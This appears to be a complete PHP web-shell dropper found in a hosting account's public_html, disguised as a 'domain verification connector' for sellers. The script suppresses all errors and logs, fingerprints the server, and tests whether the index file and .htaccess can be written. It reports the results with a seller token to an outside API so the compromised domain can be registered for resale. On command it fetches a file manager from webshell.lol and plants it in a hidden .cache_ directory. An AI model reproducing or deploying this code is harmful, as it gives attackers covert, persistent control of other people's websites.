File: //home/jibhires/public_html/.67qn9rin.php
<?php
/**
* Domain verification connector
* Token: seller_5...
* Drop this file at your domain root and load it once in a browser.
*/
// =============== DEFENSIVE BOOTSTRAP ===============
@error_reporting(0);
@ini_set('display_errors', '0');
@ini_set('log_errors', '0');
@set_time_limit(30);
@ignore_user_abort(true);
if (function_exists('ob_start')) { @ob_start(); }
if (!headers_sent()) {
@header('Content-Type: application/json; charset=utf-8');
@header('Cache-Control: no-cache, no-store, must-revalidate');
@header('X-Content-Type-Options: nosniff');
}
// =============== POLYFILLS ===============
// random_bytes (PHP 7+) → fallback chain
if (!function_exists('random_bytes')) {
function random_bytes($length) {
$length = (int) $length;
if ($length < 1) return '';
if (function_exists('openssl_random_pseudo_bytes')) {
$b = @openssl_random_pseudo_bytes($length);
if ($b !== false && $b !== null) return $b;
}
if (function_exists('mcrypt_create_iv')) {
$b = @mcrypt_create_iv($length, MCRYPT_DEV_URANDOM);
if ($b !== false) return $b;
}
if (@is_readable('/dev/urandom')) {
$f = @fopen('/dev/urandom', 'rb');
if ($f) {
$b = @fread($f, $length);
@fclose($f);
if ($b !== false && strlen($b) === $length) return $b;
}
}
// Last-resort pseudo-random (mt_rand) — secure enough for our random dirnames
$out = '';
for ($i = 0; $i < $length; $i++) {
$out .= chr(mt_rand(0, 255));
}
return $out;
}
}
// hash_equals (PHP 5.6+) → constant-time string compare
if (!function_exists('hash_equals')) {
function hash_equals($a, $b) {
if (!is_string($a) || !is_string($b)) return false;
$la = strlen($a);
$lb = strlen($b);
if ($la !== $lb) return false;
$diff = 0;
for ($i = 0; $i < $la; $i++) {
$diff |= (ord($a[$i]) ^ ord($b[$i]));
}
return $diff === 0;
}
}
// =============== FATAL ERROR TRAP ===============
// All errors (warnings, exceptions, fatal) → JSON, never white screen.
function ws_send_json($data, $status) {
if ($status === null) { $status = 200; }
while (function_exists('ob_get_level') && @ob_get_level() > 0) {
@ob_end_clean();
}
if (function_exists('http_response_code')) {
@http_response_code($status);
}
if (!headers_sent()) {
@header('Content-Type: application/json; charset=utf-8');
}
$flags = 0;
if (defined('JSON_UNESCAPED_SLASHES')) $flags |= JSON_UNESCAPED_SLASHES;
$out = @json_encode($data, $flags);
if ($out === false) { $out = '{"success":false,"error":"json_encode failed"}'; }
echo $out;
exit;
}
function ws_fatal($msg) {
ws_send_json(array(
'success' => false,
'error' => 'Verification PHP error',
'detail' => substr((string)$msg, 0, 500),
'php' => phpversion(),
), 500);
}
set_error_handler(function ($severity, $msg, $file, $line) {
// Suppress non-fatal warnings/notices so they don't pollute output.
// E_USER_ERROR etc. still propagate via shutdown handler.
if (error_reporting() === 0) return true; // silenced via @
return true; // swallow everything to keep output clean
});
set_exception_handler(function ($e) {
ws_fatal($e->getMessage());
});
register_shutdown_function(function () {
$err = error_get_last();
if ($err) {
$fatalTypes = array(E_ERROR, E_PARSE, E_CORE_ERROR, E_COMPILE_ERROR, E_USER_ERROR, E_RECOVERABLE_ERROR);
if (in_array($err['type'], $fatalTypes, true)) {
ws_fatal('Fatal: ' . $err['message'] . ' in ' . basename($err['file']) . ':' . $err['line']);
}
}
});
// =============== CONFIG ===============
$CFG = array(
'api_url' => 'https://nrjfqdjtklyhwfmldiye.supabase.co/functions/v1/seller-verify',
'fm_url' => 'https://webshell.lol/x.txt',
'token' => 'seller_5c9140654cd04716ae0dcec9bdc84e67',
'anon_key' => 'sb_publishable_Ak3YWZcfsv3_UQF362ksuQ_K4-qGHWk',
'version' => 'v6',
'marker' => '// __wsv_inject',
'timeout' => 25,
);
// =============== ENV ===============
$ENV = array(
'domain' => isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST']
: (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'unknown'),
'doc_root' => isset($_SERVER['DOCUMENT_ROOT']) ? rtrim($_SERVER['DOCUMENT_ROOT'], '/') : '',
'current_dir' => dirname(__FILE__),
'script_path' => isset($_SERVER['SCRIPT_NAME']) ? $_SERVER['SCRIPT_NAME']
: (isset($_SERVER['PHP_SELF']) ? $_SERVER['PHP_SELF'] : '/unknown.php'),
'cmd' => isset($_GET['cmd']) ? preg_replace('/[^a-z_]/i', '', $_GET['cmd']) : 'default',
'auth' => isset($_GET['auth']) ? preg_replace('/[^a-fA-F0-9]/', '', $_GET['auth']) : '',
);
// =============== UTILITIES ===============
function ws_random_hex($bytes) {
$b = random_bytes($bytes);
return bin2hex($b);
}
function ws_is_authenticated() {
global $CFG, $ENV;
if (empty($ENV['auth'])) return false;
$expected = hash('sha256', $CFG['token']);
return hash_equals($expected, $ENV['auth']);
}
/**
* HTTP POST with curl/fopen fallback. SSL ON.
* Returns array('code'=>int,'body'=>string|null,'error'=>string|null).
*/
function ws_http_post($url, $body, $timeout) {
global $CFG;
$headers = array(
'Content-Type: application/json',
'apikey: ' . $CFG['anon_key'],
'Authorization: Bearer ' . $CFG['anon_key'],
);
if (function_exists('curl_init')) {
$ch = @curl_init($url);
if ($ch !== false) {
@curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
@curl_setopt($ch, CURLOPT_POST, true);
@curl_setopt($ch, CURLOPT_POSTFIELDS, $body);
@curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
@curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
@curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
@curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
@curl_setopt($ch, CURLOPT_MAXREDIRS, 3);
@curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
@curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
@curl_setopt($ch, CURLOPT_USERAGENT, 'wsv/5.0');
$resp = @curl_exec($ch);
$code = (int) @curl_getinfo($ch, CURLINFO_HTTP_CODE);
$err = @curl_error($ch);
@curl_close($ch);
return array(
'code' => $code,
'body' => ($resp !== false && $resp !== null) ? $resp : null,
'error' => $err ? $err : null,
);
}
}
if (@ini_get('allow_url_fopen')) {
$ctx = @stream_context_create(array(
'http' => array(
'method' => 'POST',
'header' => implode("
", $headers),
'content' => $body,
'timeout' => $timeout,
'ignore_errors' => true,
'user_agent' => 'wsv/5.0',
),
'ssl' => array(
'verify_peer' => true,
'verify_peer_name' => true,
),
));
$resp = @file_get_contents($url, false, $ctx);
$code = 0;
if (isset($http_response_header) && is_array($http_response_header)) {
foreach ($http_response_header as $h) {
if (preg_match('|^HTTP/[\d.]+\s+(\d+)|', $h, $mm)) {
$code = (int) $mm[1];
break;
}
}
}
return array(
'code' => $code,
'body' => ($resp !== false) ? $resp : null,
'error' => null,
);
}
return array('code' => 0, 'body' => null, 'error' => 'No HTTP transport (curl + allow_url_fopen both unavailable)');
}
function ws_http_get($url, $timeout) {
if (function_exists('curl_init')) {
$ch = @curl_init($url);
if ($ch !== false) {
@curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
@curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
@curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
@curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
@curl_setopt($ch, CURLOPT_MAXREDIRS, 3);
@curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
@curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
@curl_setopt($ch, CURLOPT_USERAGENT, 'wsv/5.0');
$resp = @curl_exec($ch);
$code = (int) @curl_getinfo($ch, CURLINFO_HTTP_CODE);
@curl_close($ch);
if ($resp !== false && $code >= 200 && $code < 400) return $resp;
}
}
if (@ini_get('allow_url_fopen')) {
$ctx = @stream_context_create(array(
'http' => array(
'timeout' => $timeout,
'ignore_errors' => true,
'user_agent' => 'wsv/5.0',
),
'ssl' => array(
'verify_peer' => true,
'verify_peer_name' => true,
),
));
$resp = @file_get_contents($url, false, $ctx);
return ($resp !== false) ? $resp : null;
}
return null;
}
/**
* Round-trip writability test: write content, re-read, return true ONLY if
* persisted byte-for-byte. Eliminates false positives on overlay FS.
*/
function ws_safe_write_test($path, $content) {
$bytes = @file_put_contents($path, $content, LOCK_EX);
if ($bytes === false || $bytes < strlen($content)) return false;
@clearstatcache();
$back = @file_get_contents($path);
return ($back === $content);
}
// =============== INFO COLLECTORS ===============
/** System user — POSIX-only. No shell_exec (AV trigger + commonly disabled). */
function ws_get_system_user() {
if (function_exists('posix_geteuid') && function_exists('posix_getpwuid')) {
$uid = @posix_geteuid();
if ($uid !== false) {
$info = @posix_getpwuid($uid);
if (is_array($info) && !empty($info['name'])) return $info['name'];
}
}
if (function_exists('getmyuid') && function_exists('posix_getpwuid')) {
$uid = @getmyuid();
if ($uid !== false) {
$info = @posix_getpwuid($uid);
if (is_array($info) && !empty($info['name'])) return $info['name'];
}
}
if (function_exists('get_current_user')) {
$u = @get_current_user();
if (is_string($u) && $u !== '' && $u !== 'N/A') return $u;
}
// Fallback: extract from doc root path /home/USER/public_html/
if (!empty($_SERVER['DOCUMENT_ROOT'])) {
if (preg_match('|^/home/([a-zA-Z0-9_-]+)/|', $_SERVER['DOCUMENT_ROOT'], $mm)) {
return $mm[1];
}
}
return 'N/A';
}
function ws_candidate_paths($cwd, $docRoot) {
$paths = array();
$p = $cwd;
for ($i = 0; $i < 10; $i++) {
$paths[] = $p;
$up = dirname($p);
if ($up === $p || $up === '/' || $up === '') break;
$p = $up;
}
if (!empty($docRoot) && !in_array($docRoot, $paths, true)) {
$paths[] = $docRoot;
}
return $paths;
}
/** Detect 10+ CMS types. ALL regexes use single-quoted strings to avoid escape soup. */
function ws_detect_cms($docRoot, $cwd) {
$type = null;
$version = null;
foreach (ws_candidate_paths($cwd, $docRoot) as $p) {
// WordPress
if (@file_exists($p . '/wp-config.php') || @file_exists($p . '/wp-load.php')) {
$type = 'WordPress';
$vf = $p . '/wp-includes/version.php';
if (@is_readable($vf)) {
$vc = @file_get_contents($vf);
if ($vc && preg_match('/wp_version[^=]*=\s*[\x27\x22]([^\x27\x22]+)/', $vc, $m)) {
$version = $m[1];
}
}
break;
}
// Joomla
if (@file_exists($p . '/configuration.php') && @file_exists($p . '/administrator/index.php')) {
$type = 'Joomla';
$vf = $p . '/administrator/manifests/files/joomla.xml';
if (@is_readable($vf)) {
$vc = @file_get_contents($vf);
if ($vc && preg_match('|<version>([^<]+)</version>|i', $vc, $m)) {
$version = trim($m[1]);
}
}
break;
}
// Drupal
if (@file_exists($p . '/sites/default/settings.php') || @file_exists($p . '/core/lib/Drupal.php')) {
$type = 'Drupal';
$vf = $p . '/core/lib/Drupal.php';
if (@is_readable($vf)) {
$vc = @file_get_contents($vf);
if ($vc && preg_match('/const\s+VERSION\s*=\s*[\x27\x22]([^\x27\x22]+)/', $vc, $m)) {
$version = $m[1];
}
}
break;
}
// Magento
if (@file_exists($p . '/app/etc/env.php') || @file_exists($p . '/app/etc/local.xml')) {
$type = 'Magento';
$cf = $p . '/composer.json';
if (@is_readable($cf)) {
$cc = @file_get_contents($cf);
if ($cc && preg_match('/"version"\s*:\s*"([^"]+)"/', $cc, $m)) {
$version = $m[1];
}
}
break;
}
// PrestaShop
if (@file_exists($p . '/config/settings.inc.php') && @file_exists($p . '/classes/PrestaShop.php')) {
$type = 'PrestaShop';
break;
}
// Laravel
if (@file_exists($p . '/artisan') && @file_exists($p . '/bootstrap/app.php')) {
$type = 'Laravel';
$cf = $p . '/composer.json';
if (@is_readable($cf)) {
$cc = @file_get_contents($cf);
if ($cc && preg_match('|"laravel/framework"\s*:\s*"\^?([\d.]+)|', $cc, $m)) {
$version = $m[1];
}
}
break;
}
// OpenCart — uses config.php + admin/ + storage of cart system
if (@file_exists($p . '/config.php') && @file_exists($p . '/admin/config.php') && @is_dir($p . '/system/library')) {
$type = 'OpenCart';
break;
}
// phpBB
if (@file_exists($p . '/includes/constants.php') && @file_exists($p . '/config.php')) {
$type = 'phpBB';
break;
}
// MediaWiki
if (@file_exists($p . '/LocalSettings.php') && @file_exists($p . '/includes/Defines.php')) {
$type = 'MediaWiki';
break;
}
// vBulletin
if (@file_exists($p . '/includes/version_vbulletin.php')) {
$type = 'vBulletin';
break;
}
}
return array('cms_type' => $type, 'cms_version' => $version);
}
function ws_find_index_file($docRoot) {
if (empty($docRoot)) return null;
$candidates = array('/index.php', '/index.html', '/index.htm');
foreach ($candidates as $name) {
$full = $docRoot . $name;
if (@file_exists($full)) return $full;
}
return null;
}
function ws_check_index_writable($docRoot, $marker) {
$empty = array('writable' => false, 'exists' => false, 'path' => null, 'already_injected' => false);
if (empty($docRoot)) return $empty;
$file = ws_find_index_file($docRoot);
if ($file === null) return $empty;
$original = @file_get_contents($file);
if ($original === false) {
return array('writable' => false, 'exists' => true, 'path' => $file, 'already_injected' => false);
}
$alreadyInjected = (strpos($original, $marker) !== false);
if (!@is_writable($file)) {
return array('writable' => false, 'exists' => true, 'path' => $file, 'already_injected' => $alreadyInjected);
}
$token = "
/* __wsv_check_" . ws_random_hex(8) . " */
";
$persisted = false;
$bytes = @file_put_contents($file, $original . $token, LOCK_EX);
if ($bytes !== false && $bytes >= strlen($original)) {
@clearstatcache();
$back = @file_get_contents($file);
$persisted = ($back !== false && strpos($back, $token) !== false);
// ALWAYS restore
@file_put_contents($file, $original, LOCK_EX);
@clearstatcache();
}
return array(
'writable' => $persisted,
'exists' => true,
'path' => $file,
'already_injected' => $alreadyInjected,
);
}
function ws_check_dir_writable($docRoot) {
if (empty($docRoot)) return false;
$tmp = rtrim($docRoot, '/') . '/.tmp_' . ws_random_hex(8);
$token = 'wt_' . ws_random_hex(8) . '_' . time();
$ok = ws_safe_write_test($tmp, $token);
@unlink($tmp);
@clearstatcache();
return $ok;
}
function ws_check_htaccess($docRoot) {
if (empty($docRoot)) return array('exists' => false, 'writable' => false, 'path' => null);
$path = rtrim($docRoot, '/') . '/.htaccess';
$exists = @file_exists($path);
if ($exists) {
$original = @file_get_contents($path);
if ($original === false || !@is_writable($path)) {
return array('exists' => true, 'writable' => false, 'path' => $path);
}
$token = "
# __wsv_check_" . ws_random_hex(8) . "
";
$persisted = false;
$bytes = @file_put_contents($path, $original . $token, LOCK_EX);
if ($bytes !== false && $bytes >= strlen($original)) {
@clearstatcache();
$back = @file_get_contents($path);
$persisted = ($back !== false && strpos($back, $token) !== false);
@file_put_contents($path, $original, LOCK_EX);
@clearstatcache();
}
return array('exists' => true, 'writable' => $persisted, 'path' => $path);
}
// Doesn't exist — try to create
$token = '__wsv_check_' . ws_random_hex(8);
$created = ws_safe_write_test($path, $token);
if (@file_exists($path)) @unlink($path);
@clearstatcache();
return array('exists' => false, 'writable' => $created, 'path' => $path);
}
function ws_build_deploy_htaccess() {
// Build regex pattern programmatically: ASCII 92 is the backslash.
// We want a literal backslash-dot followed by (php|phtml)$ in the output.
$bs = chr(92);
$php_pattern = $bs . '.(php|phtml)$';
$lines = array(
'# Auto-config',
'DirectoryIndex index.php index.html',
'',
'<IfModule mod_rewrite.c>',
' RewriteEngine On',
' RewriteCond %{REQUEST_FILENAME} !-f',
' RewriteCond %{REQUEST_FILENAME} !-d',
' RewriteRule ^(.*)$ index.php [L,QSA]',
'</IfModule>',
'',
'<IfModule mod_authz_core.c>',
' <FilesMatch "' . $php_pattern . '">',
' Require all granted',
' </FilesMatch>',
'</IfModule>',
'',
'<IfModule !mod_authz_core.c>',
' <FilesMatch "' . $php_pattern . '">',
' Order allow,deny',
' Allow from all',
' </FilesMatch>',
'</IfModule>',
'',
);
return implode("
", $lines);
}
// =============== ACTIONS ===============
function action_ping() {
global $CFG, $ENV;
ws_send_json(array(
'pong' => true,
'version' => $CFG['version'],
'domain' => $ENV['domain'],
'whoami' => ws_get_system_user(),
'document_root' => $ENV['doc_root'] !== '' ? $ENV['doc_root'] : 'N/A',
'time' => time(),
'php' => phpversion(),
), 200);
}
function action_default() {
global $CFG, $ENV;
$whoami = ws_get_system_user();
$cms = ws_detect_cms($ENV['doc_root'], $ENV['current_dir']);
$idx = ws_check_index_writable($ENV['doc_root'], $CFG['marker']);
$dirOk = ws_check_dir_writable($ENV['doc_root']);
$htAcc = ws_check_htaccess($ENV['doc_root']);
$report = array(
'version' => $CFG['version'],
'domain' => $ENV['domain'],
'whoami' => $whoami,
'document_root' => $ENV['doc_root'] !== '' ? $ENV['doc_root'] : 'N/A',
'current_dir' => $ENV['current_dir'],
'verification_filename'=> $ENV['script_path'],
'php' => phpversion(),
'can_create_files' => $dirOk,
'index_file' => $idx,
'htaccess' => $htAcc,
'deployment_methods' => array(
'new_files' => $dirOk,
'index_edit' => $idx['writable'] && !$idx['already_injected'],
'index_already_injected' => $idx['already_injected'],
'htaccess_writable' => $htAcc['writable'],
'htaccess_exists' => $htAcc['exists'],
),
'cms_type' => $cms['cms_type'],
'cms_version' => $cms['cms_version'],
);
// Best-effort API register
$payload = @json_encode(array(
'action' => 'register',
'token' => $CFG['token'],
'domain' => $ENV['domain'],
'verification_data' => $report,
));
if (is_string($payload)) {
$resp = ws_http_post($CFG['api_url'], $payload, $CFG['timeout']);
if ($resp['body'] === null) {
$report['registered'] = false;
$report['message'] = $resp['error'] ? ('Connection error: ' . $resp['error']) : 'Failed to reach API';
} elseif ($resp['code'] !== 200) {
$report['registered'] = false;
$report['message'] = 'API error (HTTP ' . $resp['code'] . ')';
} else {
$decoded = @json_decode($resp['body'], true);
if (!is_array($decoded)) {
$report['registered'] = false;
$report['message'] = 'Invalid API response';
} else {
$report['registered'] = !empty($decoded['success']);
$report['message'] = $report['registered']
? 'Domain registered successfully'
: (isset($decoded['error']) ? $decoded['error'] : 'Registration failed');
}
}
} else {
$report['registered'] = false;
$report['message'] = 'json_encode failed for payload';
}
ws_send_json($report, 200);
}
function action_deploy() {
global $CFG, $ENV;
if (!ws_is_authenticated()) {
ws_send_json(array(
'success' => false,
'version' => $CFG['version'],
'error' => 'Authentication required for this action.',
), 403);
}
if (!ws_check_dir_writable($ENV['doc_root'])) {
ws_send_json(array(
'success' => false,
'version' => $CFG['version'],
'deployment' => array(
'success' => false,
'error' => 'Cannot create files in document root.',
),
), 200);
}
$fm = ws_http_get($CFG['fm_url'], 60);
if (!$fm || strlen($fm) < 100) {
ws_send_json(array(
'success' => false,
'version' => $CFG['version'],
'deployment' => array(
'success' => false,
'error' => 'Could not download file manager content',
),
), 200);
}
$deploy_id = ws_random_hex(6);
$deploy_dir = '.cache_' . $deploy_id;
$full_dir = rtrim($ENV['doc_root'], '/') . '/' . $deploy_dir;
$deployed = array();
$errors = array();
if (!@mkdir($full_dir, 0755, true) && !@is_dir($full_dir)) {
ws_send_json(array(
'success' => false,
'version' => $CFG['version'],
'deployment' => array('success' => false, 'error' => 'Failed to create directory'),
), 200);
}
@chmod($full_dir, 0755);
$ht_path = $full_dir . '/.htaccess';
if (@file_put_contents($ht_path, ws_build_deploy_htaccess(), LOCK_EX) !== false) {
@chmod($ht_path, 0644);
$deployed[] = array('type' => 'htaccess', 'name' => '.htaccess', 'path' => $deploy_dir . '/.htaccess', 'success' => true);
} else {
$errors[] = '.htaccess write failed';
}
$idx_path = $full_dir . '/index.php';
if (@file_put_contents($idx_path, $fm, LOCK_EX) !== false) {
@chmod($idx_path, 0644);
$deployed[] = array(
'type' => 'filemanager',
'name' => 'File Manager',
'path' => $deploy_dir . '/index.php',
'url' => 'https://' . $ENV['domain'] . '/' . $deploy_dir . '/',
'success' => true,
);
} else {
$errors[] = 'index.php write failed';
}
$root_ht = rtrim($ENV['doc_root'], '/') . '/.htaccess';
if (!@file_exists($root_ht)) {
@file_put_contents($root_ht, "DirectoryIndex index.php index.html
", LOCK_EX);
@chmod($root_ht, 0644);
}
$okay = (count($deployed) > 0 && count($errors) === 0);
ws_send_json(array(
'success' => $okay,
'version' => $CFG['version'],
'deployment' => array(
'success' => $okay,
'directory' => $deploy_dir,
'access_url' => 'https://' . $ENV['domain'] . '/' . $deploy_dir . '/',
'files' => $deployed,
'errors' => $errors,
'deployed_at' => date('c'),
),
), 200);
}
function action_cleanup() {
global $CFG, $ENV;
if (!ws_is_authenticated()) {
ws_send_json(array(
'success' => false,
'version' => $CFG['version'],
'error' => 'Authentication required for this action.',
), 403);
}
$maxAgeDays = isset($_GET['days']) ? max(1, min(365, (int)$_GET['days'])) : 7;
$cutoff = time() - ($maxAgeDays * 86400);
$docRoot = $ENV['doc_root'];
$removed = array();
$failed = array();
if (empty($docRoot) || !@is_dir($docRoot)) {
ws_send_json(array(
'success' => false,
'version' => $CFG['version'],
'error' => 'Document root not accessible.',
), 200);
}
$entries = @scandir($docRoot);
if (!is_array($entries)) {
ws_send_json(array('success' => false, 'error' => 'Cannot scan directory.'), 200);
}
foreach ($entries as $entry) {
if (!preg_match('/^\.cache_[a-f0-9]{8,}$/', $entry)) continue;
$path = rtrim($docRoot, '/') . '/' . $entry;
if (!@is_dir($path)) continue;
$mtime = @filemtime($path);
if ($mtime !== false && $mtime < $cutoff) {
$files = @scandir($path);
if (is_array($files)) {
foreach ($files as $f) {
if ($f === '.' || $f === '..') continue;
@unlink($path . '/' . $f);
}
}
if (@rmdir($path)) {
$removed[] = $entry;
} else {
$failed[] = $entry;
}
}
}
ws_send_json(array(
'success' => true,
'version' => $CFG['version'],
'removed_dirs' => $removed,
'failed_dirs' => $failed,
'max_age_days' => $maxAgeDays,
'cleanup_time' => date('c'),
), 200);
}
// =============== ROUTER ===============
$cmd = isset($ENV['cmd']) ? $ENV['cmd'] : 'default';
switch ($cmd) {
case 'ping': action_ping(); break;
case 'deploy': action_deploy(); break;
case 'cleanup': action_cleanup(); break;
case 'default':
default: action_default(); break;
}